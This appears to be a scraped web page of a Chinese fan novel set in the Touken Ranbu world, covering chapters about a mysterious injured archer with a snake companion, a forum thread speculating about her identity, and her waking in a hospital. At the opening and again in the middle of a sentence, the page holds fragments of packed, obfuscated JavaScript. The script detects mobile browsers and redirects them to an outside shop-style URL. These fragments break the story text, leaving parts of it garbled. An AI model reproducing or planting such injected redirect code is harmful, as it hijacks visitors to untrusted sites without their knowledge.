l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751199|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是内部收到了严重的冲击和侵蚀,尤其是混杂在她灵力中的、极为狂暴的时空能量,像是经历了极为漫长且不稳定的空间穿梭,或者是被卷入了一场时空风暴。这种伤势,修复起来非常困难,而且过程会相当漫长且痛苦。” “我们已经用最高规格的治愈符阵和灵力温养装置暂时稳定了她的情况,但后续的治疗,需要根据她自身的恢复能力和意志力来定。” 医生左右看了看,压低声音继续说:“另外在她昏迷期间,我们尝试进行基础的分析比对,发现她的灵力构成非常古老,与我们现代审神者的灵力体系有着显著差别,并且时之政府档案库里,没有找到任何与她匹配的记录。审神者白露,你究竟是在哪里发现她的?” 白露将厚樫山发生的事情,简明扼要地向医生叙述了一遍,略去了直播和打赏的细节,重点描述了遭遇巨蟒、检非违使出现、源朝曦出手相助以及她昏迷的过程。 医生听完眉头皱的更紧了:“厚樫山、时空乱流、古老灵力还有那条通灵巨蟒,看来这位‘凤黯’女士的身份恐怕非同小可。” “等她情况好一些,能够交流之后,可能需要相关部门介入了解情况,这不仅是为了她的治疗,也可能关系到一些历史或时空方面的隐秘。” 白露点点头,表示理解,时政的存在本身就是为了维护历史,任何可能影响历史稳定性的位置因素都必须被调查清楚。 “现在你可以进去短暂探视一下。”医生说,“她还在昏迷中,尽量不要打扰,也不要试图用灵力探查,以免引起她体内残余能量的排斥反应。” “我明白,谢谢您,医生。”白露郑重道谢。 白露轻轻推开病房门走了进去,被他们带回来的源朝曦就这样躺在洁白的床上,身上连接着各种监测生命体整合灵力的精密仪器,发出规律而轻微的滴滴声。 她的脸色依旧苍白,但比起在厚樫山洞口的惨白如纸,此刻稍微有了一丝极淡的血色,呼吸虽然微弱,但已经平稳了许多。 源朝曦那头红挑染的公主切长发被仔细整理过,此刻正散落在枕边,衬得她脆弱的容颜有一种惊心动魄的美。 感受到白露进来,依旧缩小成手环大小紧紧缠绕在源朝曦手腕上的宵雾抬起头,那双冰冷的竖瞳看向白露,其中的敌意和警惕似乎比之前减少了些许,但依旧保持着审视的态度。 它微微吐了吐信子,却没有其他动作,只是重新低下头,安静地贴伏在主人冰凉的手腕上,仿佛在用自己的方式给予慰藉。 在病房内停留片刻,确定源朝曦情况稳定后,白露轻轻退出病房,对守在外面的刀剑男士们点点头,示意情况暂时平稳。 “我们先回本丸稍作休整,并向时政提交初步报告,医疗中心会妥善照顾她,接下来,恐怕我们还有不少事情要处理。” 众人点头,带着战斗后的疲惫和满腔的疑惑离开了医疗中心,而他们想要的答案,恐怕只能等源朝曦醒来后才能逐步揭晓了。 4. 第四章 午后的阳光带着恰到好处的暖意,透过天守阁顶层新修缮的窗棂在地板上投下明亮的光斑,新铺设不久的松木地板散发着干燥而洁净的木质香气,与空气中新刷涂料的味道混合在一起,展示着此处的崭新。 这间在时政式神协力工作下重建的书房比以往任何时候都宽敞明亮,昔日那触目惊心的破损屋顶和墙壁早已了无痕迹,唯有此处崭新的气息在无声地提醒着众人此处曾经经历过的劫难与新生。 源祢姬,或者说如今在时政档案中代号为“胧夜”的审神者正微微蹙着眉,有些生疏的操作者面前这台新分配的终端屏幕,她的指尖在触控屏上移动的动作显得有些迟疑,与平日里持弓的样子形成了微妙反差。 这一幕让安静蹲坐在一旁、皮毛油光水滑的新来的狐之助眼中闪过一丝不解,但它聪明的没有多问,只是卖力的履行着自己的引导职责。 “胧夜大人,请看这里,这就是时之政府内部最常用的交流论坛!”新狐之助声音清脆又活泼,抬起小巧的爪子,有些笨拙却又认真的在闪烁的屏幕上指点着。 “很多审神者大人都会在这里分享本丸的日常趣事、交换战场情报,或者,嗯,闲聊一些八卦消息。”它的小尾巴轻轻晃了晃,似乎在斟酌“八卦”这个词是否用得恰当。 在这只油光水滑的狐之助身边还有一只狐之助正安静地趴伏在坐垫边缘,相比之下,它的皮毛略显暗淡,眼神也带着一丝挥之不去的警惕,一条后腿似乎还有些不自然的蜷缩——这是曾与这座本丸的刀剑男士们一同经过那段黑暗经历的狐之助。 此刻,它只是沉默地看着,耳朵偶尔极其轻微地转动一下,像是在持续不断地评估着周围环境的安全性,那份刻入骨子里的谨慎,与同伴的活泼形成了鲜明对比。 胧夜的目光扫过被狐之助电量的屏幕,上面滚动着各种各样的帖子标题: 【炫耀】我家歌仙做的和果子天下第一!(附着一张造型精美、摆盘雅致的和果子照片) 【求助】怎么才能得到号叔啊?不管是6-4还是锻刀都得不到,在线等,挺急的 【闲聊】有没有人觉得今年的樱花开得比往年早 【萌新求助】第一次带队去5-4就迷路了三个小时,正常吗? 这些充满生活气息的、平和的甚至有些琐碎的话题让胧夜感到一些微妙的隔阂,在来到这座本丸前,她的生活重心一直围绕在源氏内部、退治妖怪上,紧张而充满杀伐之气就是她的日常生活基调。 而这座本丸在她到来前也已经与世隔绝太久,久到几乎遗忘了“日常”究竟是何等模样,眼前这些轻松愉快的讨论,在胧夜看来就像是来自另一个遥远的世界。 “还有这些,”新狐之助的爪子继续在光屏上滑动,指向了另外几个被标注为热帖或新帖的标题,“似乎是一些近期比较受关注的事件讨论,涉及厚樫山的异常情况和一位神秘人物……” 它的爪子点向了那几个标题: [hot]【八卦】惊现一位身着非制式复古华服、红发挑染的神秘美人被紧急送入医疗部!气质绝佳但伤势骇人,身边还跟着一条超有灵性的小蛇!有无知情人士扒一扒来历? [新]【理性吃瓜】汇总一下关于今日厚樫山异常检非潮与神秘救援者的所有“传闻”与“合理猜测”(持续更新ing) [新]【求解惑】今天厚樫山的检非潮是不是有隐情?远远看到不属任何已知部队的灵力光芒,很强但感觉快熄灭了 [新]【分析】基于现有信息,深度分析一下医疗部那位神秘女子凤黯的可能身份(纯属推测,欢迎讨论) 红发挑染?! 这几个字像一道细微的电流瞬间集中了胧夜,让她的心跳猛的漏了一拍,一个尘封在记忆深处、早已模糊黯淡的身影不受控制地浮现于脑海——那是她早逝的养母,一位拥有着源氏血脉中标志性红色挑染、对她和养父都十分温柔的女性。 养母去世得太早,早到胧夜关于她的记忆只剩下几个零碎而温暖的片段,以及那一抹烙印在心底、无比鲜明的红色,这抹红色,同样也关联着养父每次凝视她眼眸时,那复杂难言的神情。 会是她吗? 这个荒谬的猜想刚一升起,就被胧夜用强大的理智迅速压下,不可能的,养母早在她年幼之时便已病逝,这是她亲眼所见、亲身经历的痛楚。 更何况养母的灵魂应当属于狭间,作为被众所周知的邪神八岐大蛇看上的珍宝,她又怎么可能跨越世界,出现在这个陌生的时空,并以如此戏剧性的方式登场? 尽管理智清晰地告诉她这绝无可能,但内心深处某种难以言喻的感性波动,却驱使着她伸出了手,那因常年握紧弓身与刀柄而带着薄茧的指尖,轻轻点向了那个标注着[HOT]的八卦帖。 __ #1 吃瓜第一线 rt,本人今天正好被近侍拉着去医疗中心做例行体检,结果撞见白露大人和她家的刀剑男士们行色匆匆地护送一个担架进来,那速度超快,气氛紧张得不得了! 但我还是忍不住偷偷瞄了一眼担架上的人,就那一眼,瞬间被惊艳到失语! 她穿的绝对不是我们常见的巫女服或者现世任何一款服饰,是一种超级复古、质感绝佳的深红色袿袴,上面有精致的白色碎花纹样,腰封是那种很浓很正的紫色!头发是经典的公主切发型,最关键的是,有超级飒爽的红色挑染! 就是嘴角带着血,脸色苍白得像纸,看着伤得超级重,气若游丝的样子,真是心疼死了! 最绝的是,她的一只手腕上还缠着一条通体漆黑、鳞片边缘泛着暗金光泽的小蛇!那小蛇灵性得吓人,一直昂着头警惕地盯着四周,那眼神,绝对是在守护它的主人! 有没有哪位大佬知道这位绝世美人是谁啊?是新来的审神者大人?还是时政请来的什么重要客卿?这颜值和气质,我直接垂直入坑!求更多信息! #2 404NotFound 详细说说,(`??)=3好奇 #3 匿名用户 楼上断网了吗? #4 404NotFound 看我论坛名就知道了,常年2G网速冲浪 #5 路过的审神者 我概括能力不好,指路这个帖子吧,里面有大佬总结得比较全面: 【分析】基于现有情报,理性剖析厚樫山事件核心人物“凤黯”的可能身份与事件影响 #6 吃瓜第一线 ヽ( ̄▽ ̄)?好的,谢谢楼上指路,我这就去围观! __ 胧夜的目光在“红挑染”、“重伤”、“小蛇”等字眼上停留片刻,随即再次伸出手指,点击了帖子中提到的那个分析帖链接。 身旁的新狐之助立刻尽职地解释道:“胧夜大人,这个帖子详细讨论了不久前在厚樫山区域发生的事件。” “据流传的说法,白露审神者的部队在执行任务时遭遇了异常规模的检非违使潮,形势危急之际,被一位神秘人物出手相救,而这位出手相救的伤者,目前正在时政医疗部接受紧急治疗……” __ #1 百晓生 诸位同僚日安,想必大家的论坛首页都已被昨日下午厚樫山(5-4区域)的突发状况,以及那位被知名审神者兼主播“白露”救回的神秘女子“凤黯”的相关消息刷屏了。 楼主反复研究了部分流出的直播录屏片段(在此感谢录播组的同僚!),并结合目前所能收集到的各方信息,尝试对这位事件中的关键人物进行一番理性的梳理和剖析。 欢迎各位积极参与讨论,但谢绝无脑引战和人身攻击! #2 挪威的森林猫 沙发!坐等大佬深度分析! #3 码农的自我修养 让一让,让一让,都收收腿,前排兜售花生瓜子、可乐雪碧矿泉水啦~ #63 百晓生 好了,闲话少叙,我们进入正题。首先是核心情报梳理: 一、外貌特征与发现时状态: 性别年龄:女性,外貌年龄判断在青年阶段。 发式发色:公主切长发,带有鲜明的红色挑染。 眼眸颜色:据截图判断,为灰蓝色。 服饰:身着深红色为底、带有纯白碎花图案、配以浓紫色宽腰封的袿袴制式服装(重要:非审神者标准制服,也非现今任何常见的神社巫女服)。 状态:被发现时身受重伤,灵力波动近乎枯竭且极其混乱,尤其混杂着极为狂暴的时空能量残余,高度疑似经历了极其凶险的时空乱流冲击。 二、已展现的能力(基于有限信息): 弓箭高手:在自身重伤、状态极度虚弱的情况下,仍能射出精准无比的、蕴含暗金色灵力的箭矢,一击便瓦解了检非违使的能量核心。其灵力质感被目击者描述为“古老”、“原始”,与现今审神者普遍使用的、经过系统提炼的温和治愈型灵力有显著差异。 驭蛇者:拥有一条名为“宵雾”、灵性极高、可自由变化体型大小的紫罗兰色(或称深黑泛紫金光泽)巨蟒作为伙伴或式神。该巨蟒对其表现出绝对的忠诚,且具备强大的独立战斗能力。 (楼主吐槽:话说回来,怎么我就低头整理个资料的功夫,这楼就盖这么高了?) #78 狗都不想学医 从医疗角度补充一点个人看法:根据流传出来的零星伤势描述,她伤势中混杂的时空能量异常狂暴,这不像是正常时空穿梭会造成的温和紊乱,更像是在极不稳定的时空裂缝里被剧烈“撕扯”过,或者硬生生承受了某种能直接扭曲时空的强大攻击。 能在这种伤势下存活下来,本身就是一个奇迹,足以说明其根基之深厚,实力深不可测。 #89 听雨眠 因为大家都在等着大佬们的分析,譬如我 #100百晓生 以下是关键线索,感谢@历史课代表、@码农的自我修养的倾情支持 三、关键线索深挖: 服饰纹章:根据流出的高清截图进行技术放大处理后,可以隐约观察到,其袿袴的袖口与衣襟等边缘位置,绣有类似藤原氏代表家纹“下り藤”(下垂藤花)的变体图案(藤花朝下排列的基本形态一致,但藤枝的缠绕方式存在细微变化,并且变体图案中似乎融入了火焰纹与羽翼状装饰)。[1] (附上源朝曦衣服细节放大截图) (附上标准藤原家家纹及其常见变体图案对比) 长弓装饰:其所持长弓的弓弝(手握处)两端,分别雕刻有源氏代表性家纹“龙胆纹”的简化图案,以及一只造型古朴、姿态生动的乌鸦装饰。 (附上源朝曦手持长弓的细节放大截图) 对源氏刀剑的反应:根据录屏来看,巨蟒“宵雾”与“凤黯”本人都对在场的源氏重宝髭切、膝丸兄弟流露出了极其细微的、但确凿存在的、人性化的困惑与关注情绪。 #119 源氏夹心 关注点歪一下,那把弓!源氏龙胆纹加上乌鸦装饰!这配置很难不让人联想到那位“八幡大菩萨”和武家的守护信仰啊!难道这位姐姐是八幡神宫的关系者?或者是某个世代侍奉八幡神的隐秘家族出身?(兴奋搓手) #124 历史课代表 补充一点历史背景:藤原一族在历史上分支极其繁多,有些旁支长期服务于皇家秘事,不排除存在专门处理“非常事态”(如妖邪、灾异)的传承血脉。 如果她既与藤原氏有关联,又与源氏有牵扯,那背后可能涉及的就是平安时代甚至更早时期的一些不为人知的隐秘历史了。 #153 百晓生 结合以上所有线索,我们可以尝试对“凤黯”的身份进行推测。楼主认为,她绝非普通的迷失时空旅行者或野生能力者,其身份背景必然相当深厚。以下是几种可能性推测,按楼主个人认为的可能性高低排序: 可能性最高:与藤原氏、源氏均有极深渊源的古代异能者/历史守护者。 藤原氏关联:衣物上清晰的藤原家纹变体是强有力的身份标识。 她很可能出身于藤原一族的某个隐秘分支,或者某个代代传承古老使命的家族,这个家族在历史的暗面承担着特殊职责(例如退治妖邪、维护关键时空节点的稳定等)。 源氏关联:长弓上的源氏龙胆纹和乌鸦装饰,以及其对源氏刀剑的特殊反应,强烈暗示她与源氏有着极深的羁绊(乌鸦在源氏相关传说中频繁出现,如八幡大菩萨的使者、与源义经相关的乌鸦天狗等)。 她可能是曾与源氏某位重要人物(如源赖光、源义家等)并肩作战的盟友,甚至本身就是源氏麾下的秘密战力,那把弓,很可能就是某种古老契约、深厚友谊或特殊身份的象征。 力量体系:其古老而充满攻击性、与自然更为贴近的灵力特质,符合古代阴阳术、山岳修验道或其他现已失传的秘法特征,与现代化、体系化、偏向辅助与净化的审神者灵力有着本质的不同。 可能性中等:某个失落时空或平行世界的“审神者”原型或前身组织的成员。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751200|189989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 其独特的服饰和力量体系,可能代表了在“审神者”制度被时之政府正式确立和规范化之前,更早的、独立与历史修正主义进行对抗的个体或组织成员。 她的重伤,或许与她所在时空一场我们尚不知晓的、惨烈无比的时空战役有关。 可能性较低(但并非为零):与某些“神代”遗存或强大古老妖灵相关的人物。 其驾驭灵蛇的能力、以及那古老而强大的灵力,或可让人联想到与“大物主神”(蛇神)等古老信仰有关的传承。但目前支持这一说法的直接证据最少,更偏向于神话传说范畴。 #164 挪威的森林猫 哇塞,大佬分析得好详细好厉害!膜拜! #267 百晓生 接下来,我们简单分析一下此次事件可能带来的影响: 四、事件影响浅析 对厚樫山区域的影响:此次异常的检非违使大规模聚集,极有可能是被“凤黯”破开时空壁垒、降临此世时产生的巨大能量波动,或是她本身携带的“异常”时空坐标所吸引。 她的出现,可能揭示了5-4区域除了众所周知的“三日月宗近掉落点”之外,更深层次的时空复杂性或脆弱点。 对时之政府的潜在意义: 情报价值:凤黯可能掌握着关于历史修正主义、时空乱流成因、乃至某些未知敌人(如打伤她的存在)的关键情报。 技术/力量参考:其独特的灵力运用方式和驭兽(蛇)契约,可能对时政的灵力科技或战术开发提供新思路。 潜在风险:她的身份和背景成谜,其敌对势力是否会对时政造成威胁,仍需评估。 #374 百晓生 最后,楼主整理了一些目前围绕“凤黯”的待解谜团,欢迎各位同僚补充: 她因何身受如此重伤?时空乱流的背后是意外的时空灾难,还是遭到了有针对性的强大攻击? 她与源氏的具体渊源究竟是什么?为何她的伙伴(宵雾)和她本人,都会对髭切、膝丸有超出寻常的关注? “宵雾”这条巨蟒的真正来历是什么?是式神?是共生灵兽?还是某种更为特殊的存在? 她降临此世的最终目的为何?是寻求援助?是临时避难?还是身负某项未竟的重大使命? #375 百晓生 本帖持续更新中,欢迎各位同僚提供新的线索或进行理性的分析探讨。 __ 楼主条理清晰的推测,从服饰、灵力属性到伤势原因,逐一分析,提出了多种看似合理的可能,每一种推测都似乎有些道理,但又仿佛隔靴搔痒,未能触及核心。 那只一直沉默的旧狐之助不知何时已经悄悄挪得更近了一些,它看看屏幕上那些密密麻麻的文字和图片,又看看胧夜陷入沉思的侧脸,喉咙里发出极轻的、带着担忧的呜咽声。 它或许不明白那些文字的具体含义,但它能感受到自家新任审神者身上散发出的、不同寻常的情绪波动。 新狐之助则安静地待在一边,它敏锐地察觉到胧夜对这件事超乎寻常的关注,但紧守自己作为辅助者的本分,耐心的等待下一步的指示。 胧夜的目光终于从屏幕上移开,望向窗外,在重建后的本丸庭院中,刀剑男士们正在阳光下进行日常的打扫和修缮,他们的身影忙碌而平静,与论坛上描述的那场激烈战斗仿佛处于两个世界。 她想起自己降临此地的那个夜晚,也是这般突兀,如同陨石天降,砸穿了当时已经破败不堪的天守阁屋顶。 只不过,她是被时空乱流抛掷至此的“不速之客”,而那位名为凤黯的女子,则是于危难中伸出援手的“恩人”。 虽然理智认定对方不可能是自己思念的养母,但这位神秘女子的出现,以及她身上种种不合常理之处,依旧像一颗投入古井的石子,在胧夜沉寂已久的心湖中,漾开了圈圈涟漪。 “看来,”她轻声自语,指尖无意识地拂过隐藏在袖中的怀剑冰凉的剑柄,“在处理好本丸内部事务的同时,外界也发生了不少有趣的事情。” 胧夜没有继续浏览论坛上那些真假难辨的讨论和猜测,而是看似平静地拿起放在一旁的本丸资源清单和修缮计划,目光重新落回那些具体的数字和条目上,仿佛刚才那段插曲并未引起她太多的兴趣。 但只有胧夜自己清楚,那个名为“凤黯”、身受时空重创、拥有奇特灵力和忠诚蛇伴的女子形象,以及那抹与她记忆深处难以磨灭的红色挑染,已经像一颗深埋的种子落入心田,哪怕现在什么也看不出来。 尽管内心对那位红发挑染的神秘女子充满了探究的欲望,但胧夜绝不会贸然行动,直接接触时政医疗部过于引人注目,与她眼下低调整顿本丸的初衷背道而驰,她需要更稳妥、更不露痕迹的方式。 “狐之助。”胧夜开口,声音听不出丝毫波澜,唯有她自己知晓那平静表象下暗涌的思绪。 “是,胧夜大人!”新狐之助立刻竖起耳朵,旧狐之助也警惕地抬起头。 “本丸重建已近尾声,接下来需要补充一些常规物资,尤其是药品和养护材料。”胧夜的目光落在清单上。 “另外,我既已接手本丸,也需对时之政府的运作和重要部门有所了解,将时政核心机构的公开联络方式和常规办事流程整理一份给我,以备不时之需。” 这个要求合情合理,一位新上任的审神者了解管辖机构的职能和联络方式是在正常不过的事情。 “遵命,胧夜大人!”新狐之助立刻应下,“我马上为您调取最新的机构指南和公开联络簿!” 胧夜微微颔首,似是不经意地补充道:“顺便留意一下近期时政发布的官方通告或需要审神者配合的事项,特别是与区域安全、异常事件报告相关的,本丸初定,我们需要了解外界动向。” 胧夜的这番话既彰显了她负责的态度,也为将来可能以“配合调查”或“报备异常”为由接触相关事件埋下了伏笔。 胧夜不回去主动打探这件事情,但她会准备好一切合理的借口和渠道,让自己处于一个能“被动”接收到相关信息的位置。 她不会主动去打探,但会铺设好所有合理的渠道,让自己能处于一个看似“被动”接收信息的位置,正如养父昔日所授:真正的关注,往往藏于不经意的聆听与看似寻常的筹备之中。 胧夜垂下眼帘,目光重新落回文件上,仿佛方才的插曲未曾激起任何涟漪,只有她自己清楚,内心的警戒范围,已随着那抹记忆中的红色挑染悄然扩展,于无声处,静观其变。 5. 第五章 时政医疗中心的特殊病房区永远弥漫着一种独特的气味——那是冰冷无情的消毒水气息与各种蕴含灵力的治疗药剂所散发的、难以言喻的玄妙味道交织在一起的产物。 科技的逻辑与神秘的力量在此处达成了一种微妙的、甚至是脆弱的平衡,共同构筑了这片超凡场域的生命底色,既予人希望,又透着一种非人化的疏离。 对于源朝曦而言,或者说对于此刻对外使用着那个临时构造的、名为“凤黯”的身份的她来说,意识的复苏并非一次自然的苏醒,更像是一场异常艰难、被动无比的溯回。 源朝曦的神志是从一片深不见底的黑暗泥沼中一点一点挣扎着上浮的,在整个过程中她就如同沉溺于无形洋流的溺水者被一股无法抗拒的力量从深海之底缓慢地、身不由己地推向模糊的光亮所在。 唯一清晰的伴随感是一种弥漫性的、几乎令人窒息的沉重,如同无数湿透的蛛网紧紧缠绕着源朝曦的灵魂核心,试图将她重新拉回那永恒的寂静之中。 所以当这种沉重感累积到某个临界点时,最先撕裂模糊意识、让源朝曦真正确认“自我”尚且存在的并非视觉或听觉,而是痛楚,这痛楚如同蛰伏的野兽,在她意识初萌的瞬间便露出狰狞的獠牙。 那不是某种尖锐的、可以明确指向某处伤口的撕裂痛,而是一种更深层、更彻底的钝痛,它仿佛源自于灵魂的每一个角落,无声地在源朝曦身体的每一寸骨骼、每一条纤细而关键的经脉中呐喊。 这感觉就像是源朝曦整个存在都曾被一股无可抵挡的巨力彻底碾碎,随后又以一种极其粗暴、毫不讲究的方式被勉强拼接粘连在一起。 这并非幻觉,而是残酷的现实烙印——是源朝曦强行穿越狂暴的时空乱流来到这个陌生时代前,亲身所经历的、几乎导致形神俱灭的创伤写照。 时空乱流留下的创伤如同世间最阴险狡诈的剧毒,它的可怕之处不仅在于瞬间的破坏力,更在于其持续性的侵蚀与污染。 即便源朝曦处于深度昏迷中,那些侵入她体内的、带着混乱时空属性的异常能量也未曾停止过对她力量根基的蚕食与破坏。 它们如同跗骨之蛆,又像是细微的、不断繁殖的蛀虫,顽固地消磨着源朝曦的生机,扭曲着她原本纯净而霸道的本源灵力,试图从内部将她彻底瓦解,这种侵蚀是寂静的,却同样也是致命的,如同慢性的毒药,一点点剥夺着她复苏的可能。 紧随着这无处不在的疼痛而来的是一种前所未有的、深入骨髓的虚弱感,它不像疼痛那般张扬激烈,却更为致命,如同无数条冰冷滑腻的藤蔓悄无声息地从黑暗深渊中探出,缠绕上源朝曦虚弱的灵魂不断地向下拖拽。 这虚弱感散发着诱惑的气息,低语着放弃挣扎的轻松,诱惑着源朝曦松开那紧握的意识之手,回归那片意识完全停滞的、无需再承受任何痛苦的永恒黑暗深渊,这是一种灵魂层面的疲惫,远比□□的伤痛更难抵御。 源朝曦能够清晰地“看”到,自己力量的源泉——那本该如同浩瀚江河般奔腾不息、滋养周身的丹田气海——此刻竟如同遭遇了亘古大旱的广袤河床,布满了触目惊心的龟裂,干涸见底。 只有一丝细微到几乎无法察觉的暖流正以一种极其缓慢、小心翼翼到近乎虔诚的速度缓缓注入这片濒临彻底毁灭的废土,试图唤醒一丝微弱的生机。 随着意识逐渐清明,记忆的碎片如同退潮后显露的礁石开始清晰地浮现在源朝曦的脑海中,一个冰冷的问题就这么不受控制地盘旋而起:这一切究竟是如何一步步走向如今这个境地的?是哪个环节出了错?还是说这本就是一场针对她的、精心设计的陷阱? 一切的起点,都源于那份本不该有的牵挂——那是源朝曦漫长生命中罕有的一次心软,当她看到藤原月彦被病痛折磨的模样时,竟恍惚间幻视起了她第一个亲生子——舍,当年躺在病榻上的身影。[1][2] 正是这一瞬间的重叠,让她鬼使神差地主动提出要为他寻回那株只存在于典籍记载中的珍贵药材,其实她本可以袖手旁观,毕竟这个世界的藤原一族与她并无渊源,可她终究没能迈过心里那道坎。 在源朝曦动身前夕,藤原月彦展现出令人心惊的不安,那种深植于心的恐惧几乎化为实质,让他以一种近乎执拗的、带着绝望的姿态挽留她,他眼底翻涌着前所未有的恐慌,仿佛她这一去就再也不会回来。 更让源朝曦在意的是藤原月彦坚持要代为保管她的本体刀小乌,这个举动看似是孩子气的依赖,美其名曰“亲自保管”,却让象征她力量核心的刀剑离开了身边。 如今回想,藤原月彦的那份不安是否太过刻意?其中是否藏着什么她当时未能察觉的深意? 那时的源朝曦用了超乎预期的时间与耐心安抚他,她不曾察觉自己语气里的温和与迁就,一遍遍保证会尽快归来,承诺带回他急需的药草,但在安抚的表象之下,她的心底始终笼罩着一层驱不散的阴翳,不祥的预感如影随形。 最终或许是为了让藤原月彦安心,或许是不想再纠缠于那种令人不适的氛围中,源朝曦还是带着一群被藤原月彦以威逼利诱方式勉强凑出的、实力良莠不齐的藤原族人,踏上了漫长的寻物之旅。 事实上,源朝曦极其不愿带着这些累赘,他们不仅帮不上忙,反而可能成为拖累,甚至在她需要施展某些手段时成为障碍。 甚至源朝曦曾动过将他们全部驱散的念头,但看着月彦那殷切而不安的眼神,她最终还是默许了这场看似多余的“护卫”随行,这或许是她犯下的第一个错误,一个源于非必要仁慈的错误。 山林的夜晚寂静得可怕,月色清冷如水,寻找药材的过程出乎意料的顺利,平静得甚至透出一种诡异的氛围,让笼罩在源朝曦心间的不祥预感变得更加明显。 就在源朝曦成功采得药材,准备转身折返的刹那,那股熟悉的、令人从灵魂深处感到厌恶的时空剥离感竟毫无征兆地骤然降临,其猛烈与精准程度远超她以往任何一次体验。 那不像是偶然发生的时空波动,更像是一场蓄谋已久、精心策划、只针对源朝曦一人的残酷放逐仪式,在意识被乱流吞噬的前一刻,她甚至清晰地感知到一道冰冷的注视隐藏在狂暴的时空裂缝之后如影随形。 为了在那片狂暴的时空乱流中保住性命,源朝曦几乎耗尽了积攒至今的所有力量才勉强护住核心神魂不灭。 而代价便是当源朝曦侥幸坠落到这个陌生时代时,所拥有的这具千疮百孔、连每一次微弱呼吸都牵扯着无尽痛楚的躯体已然濒临彻底崩溃的边缘。 随后源朝曦凭借残存的意志强撑着寻找到一处相对隐蔽的山洞,放出最信任的伙伴宵雾负责警戒,自己则依靠着与远方本体刀小乌之间那一丝微弱到极致的灵魂联系,陷入了修复性沉眠。 源朝曦原本的计划是依靠时间,以极其缓慢的速度一点一滴地修复这具残躯,尽管这个过程是肉眼可见的漫长,但并非让人感到完全绝望,唯一的问题便是她要怎么找到回去的路,但那也是很久之后才需要考虑的事情。 但命运的轨迹总是充满讽刺,就在她的修复进程缓慢推进之时,外出觅食归来的宵雾却意外引来了不速之客——一位自称“审神者白露”的存在。 白露追踪着宵雾留下的细微痕迹最终找到了山洞外,而就在宵雾与洞外的白露僵持不下、敌友未明、气氛紧张到一触即发之际,另一股更加危险、更加不容置疑的气息——检非违使——骤然逼近。 山洞内的源朝曦虽不清楚洞外具体的形势变化,但检非违使的出现意味着无论白露是敌是友,她们都共同陷入了极大的危险之中。 为求自保,也或许是冥冥中一线渺茫的生机,源朝曦不得不中断本就艰难的自我修复,强行压榨出体内仅存的一丝力量,选择与洞外那位尚不知是敌是友的审神者白露暂时联手,共同对抗强大的检非违使。 那场发生在山洞外的恶战具体细节因源朝曦的意识模糊而难以清晰回忆,只留下一些混乱的片段:刺目的灵力光芒、宵雾愤怒的嘶鸣、检非违使冰冷无情的攻击以及那位白露审神者和刀剑男士们奋力战斗的身影。 战斗的结果是检非违使被暂时击退或驱逐,但对于本就是强弩之末、全靠意志支撑的源朝曦而言,这次的强行出手无疑是雪上加霜,耗尽了她最后一点力气,也彻底引动了体内镇压已久的伤势,战斗结束后,她的状态已然差到无法用任何方式掩饰。 尽管审神者白露显然是出于好意提出要带她前往时政医疗中心接受治疗,但源朝曦内心深处根深蒂固的警惕让她强撑着最后一口气拒绝了对方的提议,她不愿将自己的安危交托给一个完全陌生的组织,尤其是在她如此脆弱、连本体刀都不在身边的时候。 可惜顽强的意志终究难以抗衡躯体崩溃的物理极限,拒绝的话音尚未完全落下,源朝曦便眼前一黑,彻底失去所有意识,直到此刻,她才在这间充满消毒水与灵药混合气味的病房中,重新艰难地找回了一丝对身体的掌控权。 源朝曦感觉自己的眼皮沉重的如同坠了铅块,用尽力气才勉强掀开一条细微的缝隙,模糊的光线渗入,刺激着她那灰蓝色的眼眸。 源朝曦静静地躺着,适应了好一会儿,视野中的景物才逐渐从朦胧变得清晰:映入眼帘的是纯白色的、毫无任何装饰与感情的天花板以及镶嵌其中、正散发着柔和光线以避免刺激病人眼睛的照明灯具。 身下所躺的床铺异常柔软舒适,显然是最顶级的医疗设备,内部可能还铭刻着微小的聚灵或舒缓阵纹,旨在为患者提供最佳的休养环境。 但这一切外在的舒适感都被源朝曦身体内部那无孔不入、深刻骨髓的剧烈疼痛彻底抵消,甚至显得格外讽刺和微不足道,疼痛让她无法享受任何一丝安宁,时刻提醒着她所处的绝境。 源朝曦尝试着极其轻微地移动视线,目光缓缓偏移,扫过床边冰冷的金属栏杆,掠过旁边桌上摆放的、闪烁着不同数值和曲线的精密仪器屏幕。 随即源朝曦的目光便立刻撞上了一双始终紧盯着她的、冰冷得如同最上等琉璃般的竖瞳,那瞳孔的主人——宵雾正盘踞在她的枕边,小小的头颅昂起,一眨不眨地注视着她。 而那瞳孔中映出的是毫不掩饰的、几乎要溢出来的深切担忧以及宵雾对于周遭环境始终保持着的高度警惕。 “宵雾。”源朝曦试图呼唤伙伴的名字,但发出的声音干涩沙哑得可怕,几乎只是气流摩擦声带产生的气音。 一直如同黑色手环般缠绕在源朝曦纤细手腕上的小蛇立刻昂起小小的头颅,冰凉的蛇信子轻柔而快速地舔舐着她腕部的皮肤,通过这种方式传递来清晰无比的、混杂着极度担忧与确认她已苏醒安全的意念。 感受到这从遥远过去便开始相伴、跟随她穿越了无数时空与世界、唯一值得完全信赖的伙伴的回应,源朝曦内心深处那根自苏醒以来就一直紧绷到极致的弦,才终于稍稍松弛了微不可查的一丝。 宵雾还在身边,并且能够做出如此清晰的回应,这至少表明,在她完全失去意识的这段漫长而危险的时间里,最坏的情况——比如被彻底禁锢或分解研究——并未发生,对方似乎确实提供了医疗救助,这无疑是不幸中的万幸,让她暂时不必立刻面对最直接的生存威胁。 源朝曦稍稍安心,随后又下意识地尝试调动体内那微弱的、几乎感觉不到的灵力,意图更清晰地评估自身的具体伤势状况。 但回应源朝曦这番尝试的却是脏腑间一阵突如其来的、如同被一只无形巨手狠狠攥紧后又猛烈扭曲的剧烈抽痛! 